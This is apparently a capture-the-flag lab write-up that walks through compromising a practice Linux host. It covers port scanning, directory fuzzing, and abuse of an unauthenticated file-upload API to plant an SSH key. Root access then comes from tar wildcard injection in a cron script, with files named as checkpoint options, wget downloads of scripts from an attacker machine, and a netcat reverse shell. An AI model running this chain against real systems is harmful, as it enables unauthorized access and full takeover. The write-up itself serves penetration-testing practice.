

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.243.249 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.243.249:21
Open 192.168.243.249:25022
Open 192.168.243.249:33414
Open 192.168.243.249:40080

PORT      STATE SERVICE REASON  VERSION
21/tcp    open  ftp     syn-ack vsftpd 3.0.3
25022/tcp open  ssh     syn-ack OpenSSH 8.6 (protocol 2.0)
33414/tcp open  unknown syn-ack
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.3 Python/3.9.13
|     Date: Thu, 23 May 2024 06:05:17 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your
spelling and try again.</p>
|   Help:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|       "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|       <title>Error response</title>
|     </head>
|     <body>
|       <h1>Error response</h1>
|       <p>Error code: 400</p>
|       <p>Message: Bad request syntax ('HELP').</p>
|       <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   RTSPRequest:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|       "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|       <title>Error response</title>
|     </head>
|     <body>
|       <h1>Error response</h1>
|       <p>Error code: 400</p>
|       <p>Message: Bad request version ('RTSP/1.0').</p>
|       <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|_
40080/tcp open  http     syn-ack Apache httpd 2.4.53 ((Fedora))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-title: My test page
|_ http-server-header: Apache/2.4.53 (Fedora)
1 service unrecognized despite returning data. If you know the service/version, please submit the
following fingerprint at https://nmap.org/
```` ffuf
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.243.249:33414/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt
```

help [Status: 200, Size: 137, Words: 19, Lines: 2, Duration: 91ms]

info [Status: 200, Size: 98, Words: 14, Lines: 2, Duration: 82ms]

``` http://192.168.243.249:33414/info

```
0 "Python File Server REST API v2.5"
1 "Author: Alfredo Moroder"
2 "GET /help = List of the commands"
``` http://192.168.243.249:33414/help`
```

0 "GET /info : General Info"

1 "GET /help : This listing"

2 "GET /file-list?dir=/tmp : List of the files"

3 "POST /file-upload : Upload files"

``` Check http://192.168.243.249:33414/file-list?dir=/home/

```
0 "alfredo"
``` Check `http://192.168.243.249:33414/file-list?dir=/home/alfredo/`
```

0 ".bash\_logout"

1 ".bash\_profile"

2 ".bashrc"

3 "local.txt"

4 ".ssh"

5 "restapi"

6 ".bash\_history"

``` You can upload `authorized_keys`, but it says only `txt` and similar files are allowed. See [Upload files with CURL](https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76) (<https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76>)

```
(kali㉿kali)-[~/pgplay]
└─$ curl -X POST -H "Content-Type: multipart/form-data" -F file=@/home/kali/pgplay/authorized_keys -F filename=/home/alfredo/id_rsa.pub http://192.168.243.249:33414/file-upload
{"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}
``` Change to upload as txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ curl -X POST -H "Content-Type: multipart/form-data" -F "file=@/home/kali/pgplay/id_rsa_pub.txt" -F filename=/home/alfredo/.ssh/authorized_keys" http://192.168.243.249:33414/file-upload
{"message":"File successfully uploaded"}
``` ssh login, get local.txt in /home/alfredo
```

```
(kali㉿kali)-[~/pgplay]
└─$ ssh alfredo@192.168.243.249 -p 25022

[alfredo@fedora ~]$ cat local.txt
b5874d41de2504cc69cd920a42f7adb7
``` `linpeas.sh`
```

[alfredo@fedora tmp]\$ wget 192.168.45.226/linpeas.sh

[alfredo@fedora tmp]\$ chmod +x linpeas.sh

[alfredo@fedora tmp]\$ ./linpeas.sh

/var/spool/anacron:

total 0

drwxr-xr-x. 2 root root 63 Mar 28 2023 .

drwxr-xr-x. 10 root root 113 Mar 28 2023 ..

-rw-r--r--. 1 root root 0 Mar 28 2023 cron.daily

-rw-r--r--. 1 root root 0 Mar 28 2023 cron.monthly

-rw-r--r--. 1 root root 0 Mar 28 2023 cron.weekly

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

MAILTO=root

\*/1 \*\*\*\* root /usr/local/bin/backup-flask.sh

``` Check /usr/local/bin/backup-flask.sh

```
[alfredo@fedora tmp]$ cd /usr/local/bin/
[alfredo@fedora bin]$ cat backup-flask.sh
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *
``` Use [Wildcard Injection] (https://medium.com/@silver-garcia/how-to-abuse-tar-wildcards-for-privilege-escalation-tar-wildcard-injection-612a6eac0807) or [Linux Privilege Escalation: Wildcards with tar] (https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa)
```

```
└─(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp33414
```

```
[alfredo@fedora bin]$ cd /home/alfredo/restapi
[alfredo@fedora restapi]$ wget 192.168.45.226:21/reverse.sh
[alfredo@fedora restapi]$ chmod +x reverse.sh
[alfredo@fedora restapi]$ echo "" > '--checkpoint=1'
[alfredo@fedora restapi]$ echo "" > '--checkpoint-action=exec=sh reverse.sh'
```

---

```
sh-5.1# whoami
root
sh-5.1# cd /root
sh-5.1# ls
ls
anaconda-ks.cfg
build.sh
proof.txt
run.sh
sh-5.1# cat proof.txt
fa8aa17959ce9593648dc4a051eddf00
```

---